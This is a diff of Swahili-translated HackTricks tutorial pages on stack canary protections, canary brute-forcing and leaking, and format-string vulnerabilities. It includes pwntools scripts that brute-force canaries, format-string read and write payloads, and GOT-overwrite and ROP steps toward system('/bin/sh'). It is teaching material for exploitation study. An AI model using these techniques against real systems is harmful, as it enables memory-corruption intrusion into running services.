**StackGuard** inaweka thamani maalum inayoitwa **canary** kabla ya **EIP (Mwongozo wa Maagizo ya Kupanuliwa)**, kwa usahihi `0x000aff0d` (inayowakilisha null, mstari mpya, EOF, kurudi nyumbani) kulinda dhidi ya kujaza zaidi kwa buffer. Walakini, kazi kama vile `recv()`, `memcpy()`, `read()`, na `bcopy()` bado ziko hatarini, na haitoi ulinzi kwa **EBP (Mwongozo wa Msingi)**.
**StackShield** inachukua njia yenye utata zaidi kuliko StackGuard kwa kudumisha **Global Return Stack**, ambayo hifadhi anwani zote za kurudi (**EIPs**). Hii inahakikisha kuwa kujaza zaidi hakusababishi madhara, kwani inaruhusu kulinganisha kati ya anwani zilizohifadhiwa na anwani halisi za kurudi kugundua matukio ya kujaza zaidi. Kwa kuongezea, StackShield inaweza kuchunguza anwani ya kurudi dhidi ya thamani ya mpaka kugundua ikiwa **EIP** inaelekeza nje ya nafasi ya data inayotarajiwa. Walakini, ulinzi huu unaweza kuzungukwa kupitia mbinu kama Return-to-libc, ROP (Return-Oriented Programming), au ret2ret, ikionyesha kuwa StackShield pia haikilindi variables za ndani.
## **Mlinzi wa Stack Smash (ProPolice) `-fstack-protector`:**
Mbinu hii inaweka **canary** kabla ya **EBP**, na kurekebisha upya variables za ndani ili kuweka buffers kwenye anwani za kumbukumbu za juu, kuzuia kuzidiwa kwa variables zingine. Pia inakopi salama hoja zilizopitishwa kwenye stack juu ya variables za ndani na kutumia nakala hizi kama hoja. Walakini, haitoi ulinzi kwa mizunguko yenye vipengee chini ya vipengee 8 au buffers ndani ya muundo wa mtumiaji.
Mbinu hii inaweka **canary** kabla ya **EBP**, na kurekebisha upya variables za ndani ili kuweka mabafu kwenye anwani za kumbukumbu za juu, kuzuia kuziandika juu ya variables zingine. Pia inakopi salama hoja zilizopitishwa kwenye steki juu ya variables za ndani na kutumia nakala hizi kama hoja. Walakini, haitoi ulinzi kwa mizunguko yenye vipengee chini ya vipengee 8 au mabafu ndani ya muundo wa mtumiaji.
**Canary** ni nambari ya nasibu inayotokana na `/dev/urandom` au thamani ya msingi ya `0xff0a0000`. Imehifadhiwa katika **TLS (Uhifadhi wa Mada za Wateja)**, ikiruhusu nafasi za kumbukumbu zilizoshirikiwa kati ya mada kuwa na variables vya ulimwengu au static vya mada. Variables hizi kwa kawaida huchukuliwa kutoka kwa mchakato mzazi, na michakato ya watoto inaweza kubadilisha data yao bila kuathiri mzazi au ndugu. Walakini, ikiwa **`fork()` inatumika bila kuunda canary mpya, michakato yote (mzazi na watoto) wanashiriki canary sawa**, ikifanya iwe hatarini. Kwenye usanifu wa **i386**, canary imehifadhiwa kwa `gs:0x14`, na kwenye **x86\_64**, kwa `fs:0x28`.
**Canary** ni nambari ya nasibu inayotokana na `/dev/urandom` au thamani ya msingi ya `0xff0a0000`. Imehifadhiwa katika **TLS (Uhifadhi wa Mada za Mnyororo)**, ikiruhusu nafasi za kumbukumbu zilizoshirikiwa kati ya mada kuwa na variables vya mada maalum ya mnyororo au ya kudumu. Variables hizi kwa kawaida huchukuliwa kutoka kwa mchakato mzazi, na michakato ya watoto inaweza kubadilisha data yao bila kuathiri mzazi au ndugu. Walakini, ikiwa **`fork()` inatumika bila kuunda canary mpya, michakato yote (mzazi na watoto) wanashiriki canary sawa**, ikifanya iwe hatarini. Kwenye usanifu wa **i386**, canary imehifadhiwa kwa `gs:0x14`, na kwenye **x86\_64**, kwa `fs:0x28`.
Ulinzi huu wa ndani unatambua kazi zenye buffers zinazoweza kushambuliwa na kuingiza nambari mwanzoni mwa kazi hizi kuweka canary, na mwishoni kudhibitisha usahihi wake.
Ulinzi huu wa ndani unatambua kazi zenye mabafu yanayoweza kushambuliwa na kuingiza nambari mwanzoni mwa kazi hizi kuweka canary, na mwishoni kuhakiki usahihi wake.
Wakati seva ya wavuti inatumia `fork()`, inawezesha shambulio la kufikiria kuhusu canary kwa kila baiti. Walakini, kutumia `execve()` baada ya `fork()` kunafuta nafasi ya kumbukumbu, kufuta shambulio. `vfork()` inaruhusu mchakato wa mtoto kutekeleza bila kuiga hadi inapojaribu kuandika, wakati huo mchakato wa kuiga unajengwa, kutoa njia tofauti ya uundaji wa mchakato na utunzaji wa kumbukumbu.
Wakati seva ya wavuti inatumia `fork()`, inawezesha shambulio la kufikiria kuhusu canary kwa kila baiti. Walakini, kutumia `execve()` baada ya `fork()` kunaharibu nafasi ya kumbukumbu, kufuta shambulio. `vfork()` inaruhusu mchakato wa mtoto kutekeleza bila kuiga hadi jaribio la kuandika, wakati huo mchakato wa nakala unajengwa, kutoa njia tofauti ya uundaji wa mchakato na utunzaji wa kumbukumbu.
## Kuzidi
### Urefu
**Kuvuja kwa canary** na kisha kuibadilisha (k.m. kujaza zaidi) na thamani yake mwenyewe.
Katika programu za `x64`, kuki ya canary ni **baiti ya qword ya `0x8`**. **Baiti saba za kwanza ni za nasibu** na baiti ya mwisho ni **baiti ya null.**
Katika programu za `x86`, kuki ya canary ni **baiti ya dword ya `0x4`**. **Baiti tatu za kwanza ni za nasibu** na baiti ya mwisho ni **baiti ya null.**
{% hint style="danger" %}
Baiti ya thamani ndogo zaidi ya canaries zote ni baiti ya null kwa sababu itakuwa ya kwanza kwenye steki ikitoka kwenye anwani za chini na kwa hivyo **kazi zinazosoma herufi zitasimama kabla ya kuisoma**.
{% endhint %}
## Kupitisha
**Kuvuja kwa canary** na kisha kuibadilisha (k.m. kujaza zaidi ya buffer) na thamani yake mwenyewe.
* Ikiwa **canary inaforked katika michakato ya watoto** inaweza kuwa inawezekana kuita **kwa nguvu** baiti moja kwa wakati:
@ -40,19 +50,31 @@ Wakati seva ya wavuti inatumia `fork()`, inawezesha shambulio la kufikiria kuhus
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
{% endcontent-ref %}
* Ikiwa kuna uwezekano wa kuvuja wa kuvutia katika binary inaweza kuwa inawezekana kuvuja:
* Ikiwa kuna **kuvuja kwa kuvutia au kuvuja kwa kusoma kwa hiari** katika binary inaweza kuwa inawezekana kuvuja:
{% content-ref url="print-stack-canary.md" %}
[print-stack-canary.md](print-stack-canary.md)
{% endcontent-ref %}
* **Kuibadilisha pointers zilizohifadhiwa kwenye steki**
Steki inayoweza kushambuliwa na kujaza zaidi ya steki inaweza **kuwa na anwani za herufi au kazi ambazo zinaweza kubadilishwa** ili kutumia udhaifu bila kuhitaji kufikia canary ya steki. Angalia:
{% content-ref url="../../stack-overflow/pointer-redirecting.md" %}
[pointer-redirecting.md](../../stack-overflow/pointer-redirecting.md)
{% endcontent-ref %}
## Marejeo
* [https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html)
<details>
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

17
reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
View file

@ -1,4 +1,4 @@
# BF Forked Stack Canaries
# BF Forked & Threaded Stack Canaries
<details>
@ -7,7 +7,7 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
@ -19,13 +19,13 @@ Njia nyingine za kusaidia HackTricks:
![](<../../../../.gitbook/assets/image (144).png>)
{% hint style="info" %}
Tambua kwamba **`checksec`** inaweza isigundue kuwa binary inalindwa na canary ikiwa ilikompiliwa kistatiki na haiwezi kutambua kazi.\
Tambua kwamba **`checksec`** inaweza isigundue kuwa binary inalindwa na canary ikiwa ilikompiliwa kistatiki na haiwezi kutambua kazi hiyo.\
Hata hivyo, unaweza kugundua hii kwa mikono ikiwa unagundua kwamba thamani imesave kwenye stack mwanzoni mwa wito wa kazi na thamani hii inachunguzwa kabla ya kutoka.
{% endhint %}
## Kupuuza Canary kwa Nguvu ya Kuburuta
Njia bora ya kuzipuuza canary rahisi ni ikiwa binary ni programu **inayoforka michakato ya watoto kila wakati unapoweka uhusiano mpya** nayo (huduma ya mtandao), kwa sababu kila wakati unapounganisha **canary ile ile itatumika**.
Njia bora ya kuzipuuza canary rahisi ni ikiwa binary ni programu **inayoforka michakato ya watoto kila wakati unapounda uhusiano mpya** nayo (huduma ya mtandao), kwa sababu kila wakati unapounganisha **canary ile ile itatumika**.
Kwa hivyo, njia bora ya kuzipuuza canary ni kwa kui **buruta kwa nguvu kwa herufi**, na unaweza kugundua ikiwa herufi ya canary iliyoguswa ilikuwa sahihi kwa kuchunguza ikiwa programu imeanguka au inaendelea na mtiririko wake wa kawaida. Katika mfano huu, kazi **inaburuta kwa nguvu canary ya 8 Bytes (x64)** na kutofautisha kati ya herufi iliyoguswa kwa usahihi na herufi mbaya kwa tu **kuchunguza** ikiwa **jibu** limetumwa na seva (njia nyingine katika **hali nyingine** inaweza kuwa kutumia **jaribu/kinyume**):
@ -72,7 +72,7 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### Mfano 2
Hii imeboreshwa kwa bits 32, lakini inaweza kubadilishwa kwa urahisi kuwa bits 64.\
Hii imeboreshwa kwa bits 32, lakini hii inaweza kubadilishwa kwa urahisi kuwa bits 64.\
Pia eleza kwamba kwa mfano huu **programu inatarajia kwanza byte kuashiria ukubwa wa matokeo** na mzigo.
```python
from pwn import *
@ -114,4 +114,11 @@ target = process('./feedme')
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
## Vitambulisho
Vitambulisho vya mchakato huo huo pia **vitashiriki kitufe cha canary**, hivyo itakuwa **inawezekana kufanya nguvu ya brute** kwa canary ikiwa binary inazalisha wambiso mpya kila wakati shambulio linatokea.&#x20;
## Mifano na Marejeleo Mengine
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* Biti 64, hakuna PIE, nx, BF canary, andika kwenye kumbukumbu fulani ROP ili kupiga simu kwa `execve` na ruka hapo.

17
reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
View file

@ -8,7 +8,7 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
@ -16,19 +16,22 @@ Njia nyingine za kusaidia HackTricks:
## Ongeza stack iliyochapishwa
Fikiria hali ambapo **programu inayoweza kudhurika** na kuzidi kwa stack inaweza kutekeleza kazi ya **puts** ikionyesha **sehemu** ya **kuzidi kwa stack**. Mshambuliaji anajua kwamba **baiti ya kwanza ya canary ni baiti tupu** (`\x00`) na sehemu iliyobaki ya canary ni **baiti za nasibu**. Kisha, mshambuliaji anaweza kuunda kuzidi ambayo **inaandika juu ya stack hadi kufikia baiti ya kwanza ya canary**.
Fikiria hali ambapo **programu inayoweza kudhurika** kwa kujaa kwa stack inaweza kutekeleza kazi ya **puts** ikionyesha **sehemu** ya **kujaa kwa stack**. Mshambuliaji anajua kwamba **baiti ya kwanza ya canary ni baiti tupu** (`\x00`) na sehemu iliyobaki ya canary ni **baiti za nasibu**. Kisha, mshambuliaji anaweza kuunda kujaa ambayo **inaandika juu ya stack hadi kufikia baiti ya kwanza ya canary**.
Kisha, mshambuliaji **anaita kazi ya puts** katikati ya mzigo wa data ambayo ita **chapisha canary yote** (isipokuwa baiti tupu ya kwanza).
Kisha, mshambuliaji **anaita kazi ya puts** katikati ya mzigo ambao utachapisha canary yote (isipokuwa baiti tupu ya kwanza).
Kwa habari hii, mshambuliaji anaweza **kutengeneza na kutuma shambulio jipya** akijua canary (katika **kikao kimoja cha programu**).
Kwa wazi, mkakati huu ni **mdogo** sana kwani mshambuliaji anahitaji kuweza **kuchapisha** **maudhui** ya mzigo wake ili **kuchota** **canary** na kisha kuweza kuunda mzigo mpya (katika **kikao kimoja cha programu**) na **kutuma** **kuzidi kwa ujazo wa data**.
Kwa wazi, mkakati huu ni **mdogo sana** kwani mshambuliaji anahitaji kuweza **kuchapisha** **maudhui** ya mzigo wake ili **kuchota** **canary** na kisha kuweza kuunda mzigo mpya (katika **kikao kimoja cha programu**) na **kutuma** **kujaa kwa buffer** halisi.
**Mfano wa CTF:** [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
**Mifano ya CTF:**&#x20;
* [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* Biti 64, ASLR imewezeshwa lakini hakuna PIE, hatua ya kwanza ni kujaza kujaa hadi baiti 0x00 ya canary kisha kuita puts na kuvuja. Kwa canary, kifaa cha ROP kinachoitwa puts kimeundwa kuita puts kuvuja anwani ya puts kutoka kwa GOT na kifaa cha ROP kuita `system('/bin/sh')`
## Kusoma Kiholela
Kwa kusoma kiholela kama ile inayotolewa na **strings za muundo** inaweza kuwa inawezekana kuvuja kwa canary. Angalia mfano huu: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) na unaweza kusoma kuhusu kutumia strings za muundo kusoma anwani za kumbukumbu za kiholela katika:
Kwa kusoma kiholela kama ile inayotolewa na **vistringi vya muundo** inaweza kuwa inawezekana kuvuja canary. Angalia mfano huu: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) na unaweza kusoma kuhusu kutumia vistringi vya muundo kusoma anwani za kumbukumbu za kiholela katika:
{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
@ -42,7 +45,7 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.

64
reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md
View file

@ -1,24 +1,22 @@
# Maudhui ya Format
# Mipangilio ya Umbo
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikitangazwa kwenye HackTricks**? au ungependa kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Taarifa Msingi
Katika C **`printf`** ni kazi inayoweza kutumika kwa **kusambaza** baadhi ya string. **Parameter ya kwanza** inayotarajiwa na kazi hii ni **maandishi ghafi yenye formatters**. **Parameta zinazofuata** zinatarajiwa kuwa **thamani** za **kubadilisha** **formatters** kutoka kwenye maandishi ghafi.
Katika C **`printf`** ni kazi inayoweza kutumika kwa **kusambaza** neno fulani. **Parameter ya kwanza** ambayo kazi hii inatarajia ni **maandishi ghafi yenye mipangilio**. **Parameta zinazofuata** zinatarajiwa kuwa **thamani** za **kubadilisha** **mipangilio** kutoka kwenye maandishi ghafi.
Udhaifu unaonekana wakati **maandishi ya muhusika yanatumika kama hoja ya kwanza** kwa kazi hii. Muhusika ataweza kutengeneza **kuingia maalum kwa kudhuru** uwezo wa **formati ya printf** kusoma na **kuandika data yoyote kwenye anwani yoyote (inayoweza kusomwa/kuandikwa)**. Hivyo kuweza **kutekeleza nambari za aina yoyote**.
#### Formatters:
Udhaifu unaonekana wakati **maandishi ya muhusika yanatumika kama hoja ya kwanza** kwa kazi hii. Muhusika ataweza kutengeneza **kuingia maalum kwa kudhuru** uwezo wa **mipangilio ya umbo ya printf** kusoma na **kuandika data yoyote kwenye anwani yoyote (inayoweza kusomwa/kuandikwa)**. Hivyo kuweza **kutekeleza nambari za aina yoyote**.
```bash
%08x —> 8 hex bytes
%d —> Entire
@ -41,7 +39,7 @@ printf(buffer); // If buffer contains "%x", it reads from the stack.
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
* Kwa Kutokuwepo kwa Vigezo:
* Kwa Vipengele Vilivyopotea:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
@ -53,21 +51,21 @@ printf("%x %x %x %x")
```
Na ungesoma kutoka kwa paramu ya kwanza hadi ya nne.
Au unaweza kufanya hivi:
Au unaweza kufanya:
```c
printf("$4%x")
```
Na soma moja kwa moja ya nne.
Gundua kwamba muhalifu anadhibiti `pr`**`intf` parameter, ambayo kimsingi inamaanisha** mchango wake utakuwa kwenye stack wakati `printf` inaitwa, ambayo inamaanisha anaweza kuandika anwani maalum za kumbukumbu kwenye stack.
Gundua kwamba muhalifu anadhibiti parameter ya `pr`**`intf`**, ambayo kimsingi inamaanisha kwamba** matokeo yake yatakuwa kwenye stack wakati `printf` inaitwa, ambayo inamaanisha kwamba anaweza kuandika anwani maalum za kumbukumbu kwenye stack.
{% hint style="danger" %}
Muhalifu anayedhibiti mchango huu, ataweza **kuongeza anwani za kiholela kwenye stack na kufanya `printf` kuzifikia**. Katika sehemu inayofuata itaelezwa jinsi ya kutumia tabia hii.
Muhalifu anayeidhibiti kuingiza hiki, ataweza **kuongeza anwani za kiholela kwenye stack na kufanya `printf` kuzifikia**. Katika sehemu inayofuata itaelezwa jinsi ya kutumia tabia hii.
{% endhint %}
## **Soma Kiholela**
Inawezekana kutumia mfumo wa **`$n%s`** ili kufanya **`printf`** ipate **anwani** iliyoko katika **nafasi ya n**, ikifuatiwa na **kuichapisha kana kwamba ni string** (kuichapisha hadi 0x00 inapatikana). Kwa hivyo ikiwa anwani ya msingi ya binary ni **`0x8048000`**, na tunajua kuwa mchango wa mtumiaji unaanza katika nafasi ya 4 kwenye stack, inawezekana kuchapisha mwanzo wa binary na:
Inawezekana kutumia mfumo wa **`$n%s`** ili kufanya **`printf`** ipate **anwani** iliyoko katika **nafasi ya n**, ikifuatiwa na **kuiprint kana kwamba ni string** (kuiprint hadi 0x00 inapatikana). Kwa hivyo ikiwa anwani ya msingi ya binary ni **`0x8048000`**, na tunajua kwamba kuingiza kwa mtumiaji inaanza katika nafasi ya 4 kwenye stack, inawezekana kuchapisha mwanzo wa binary na:
```python
from pwn import *
@ -86,36 +84,36 @@ Tafadhali kumbuka huwezi kuweka anwani 0x8048000 mwanzoni mwa matokeo kwa sababu
## **Andika Kiholela**
Mfumo **`$<num>%n`** **huandika** **idadi ya herufi zilizoandikwa** kwenye **anwani iliyotajwa** katika paramu ya \<num> kwenye stack. Ikiwa mshambuliaji anaweza kuandika herufi nyingi kama atakavyo na printf, ataweza kufanya **`$<num>%n`** iandike nambari ya kiholela kwenye anwani ya kiholela.
Mfumo **`$<num>%n`** **huandika** **idadi ya baiti zilizoandikwa** kwenye **anwani iliyoelezwa** katika paramu ya \<num> kwenye stack. Ikiwa mshambuliaji anaweza kuandika idadi kubwa ya herufi kama anavyotaka na printf, ataweza kuifanya **`$<num>%n`** iandike nambari ya kiholela kwenye anwani ya kiholela.
Kwa bahati nzuri, ili kuandika nambari 9999, si lazima kuongeza "A" 9999 kwenye matokeo, badala yake inawezekana kutumia mfumo **`%.<num-andika>%<num>$n`** kuandika nambari **`<num-andika>`** kwenye **anwani inayoelekezwa na nafasi ya `<num>`**.
Bahati nzuri, ili kuandika nambari 9999, si lazima kuongeza "A" 9999 kwenye matokeo, badala yake inawezekana kutumia mfumo **`%.<num-andika>%<num>$n`** kuandika nambari **`<num-andika>`** kwenye **anwani inayoelekezwa na nafasi ya `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Hata hivyo, ni vyema kufahamu kwamba kawaida ili kuandika anwani kama vile `0x08049724` (ambayo ni nambari KUBWA kuandika kwa mara moja), **inatumika `$hn`** badala ya `$n`. Hii inaruhusu kuandika **Bayti 2 tu**. Kwa hivyo, hatua hii inafanywa mara mbili, mara moja kwa Bayti 2 za juu za anwani na mara nyingine kwa zile za chini.
Hata hivyo, elewa kwamba kawaida ili kuandika anwani kama vile `0x08049724` (ambayo ni nambari KUBWA kuandika mara moja), **inatumika `$hn`** badala ya `$n`. Hii inaruhusu **kuandika tu 2 Bytes**. Kwa hivyo operesheni hii inafanywa mara mbili, mara moja kwa Bytes 2 za juu za anwani na mara nyingine kwa zile za chini.
Hivyo, udhaifu huu huruhusu kuandika **chochote katika anwani yoyote (kuandika kiholela)**.
Hivyo, hitilafu hii inaruhusu **kuandika chochote katika anwani yoyote (kuandika kiholela)**.
Katika mfano huu, lengo ni **kubadilisha** **anwani** ya **kazi** katika **GOT** meza ambayo itaitwa baadaye. Ingawa hii inaweza kutumika katika njia nyingine za kutekeleza kuandika kiholela:
Katika mfano huu, lengo litakuwa **kubadilisha** **anwani** ya **kazi** katika **GOT** meza ambayo itaitwa baadaye. Ingawa hii inaweza kutumika vibaya kwa njia zingine za kuandika kiholela kutekeleza:
{% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %}
Tutakuwa **tukibadilisha** **kazi** ambayo **inapokea** **vigezo** vyake kutoka kwa **mtumiaji** na **kuielekeza** kwa kazi ya **`system`**.\
Kama ilivyotajwa, ili kuandika anwani, kawaida hatua 2 zinahitajika: Kwanza unahitaji kuandika Bayti 2 za juu za anwani na kisha nyingine 2. Kufanya hivyo, **`$hn`** hutumiwa.
Tunakusudia **kubadilisha** **kazi** ambayo **inapokea** **vigezo** vyake kutoka kwa **mtumiaji** na **kuielekeza** kwa kazi ya **`system`**.\
Kama ilivyotajwa, ili kuandika anwani, kawaida hatua 2 zinahitajika: Kwanza unahitaji **kuandika 2Bytes** za anwani na kisha nyingine 2. Kufanya hivyo, **`$hn`** hutumiwa.
* **HOB** inaitwa kwa Bayti 2 za juu za anwani
* **LOB** inaitwa kwa Bayti 2 za chini za anwani
* **HOB** inaitwa kwa Bytes 2 za juu za anwani
* **LOB** inaitwa kwa Bytes 2 za chini za anwani
Kisha, kutokana na jinsi formati ya herufi inavyofanya kazi, unahitaji **kuandika kwanza ndogo** kati ya \[HOB, LOB\] na kisha nyingine.
Kisha, kwa sababu ya jinsi formati ya string inavyofanya kazi, unahitaji **kuandika kwanza ile ndogo** kati ya \[HOB, LOB\] na kisha nyingine.
Ikiwa HOB < LOB\
`[anwani+2][anwani]%.[HOB-8]x%[kielelezo]\$hn%.[LOB-HOB]x%[kielelezo+1]`
`[anwani+2][anwani]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
Ikiwa HOB > LOB\
`[anwani+2][anwani]%.[LOB-8]x%[kielelezo+1]\$hn%.[HOB-LOB]x%[kielelezo]`
`[anwani+2][anwani]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
@ -156,15 +154,9 @@ p.interactive()
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikitangazwa kwenye HackTricks**? au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
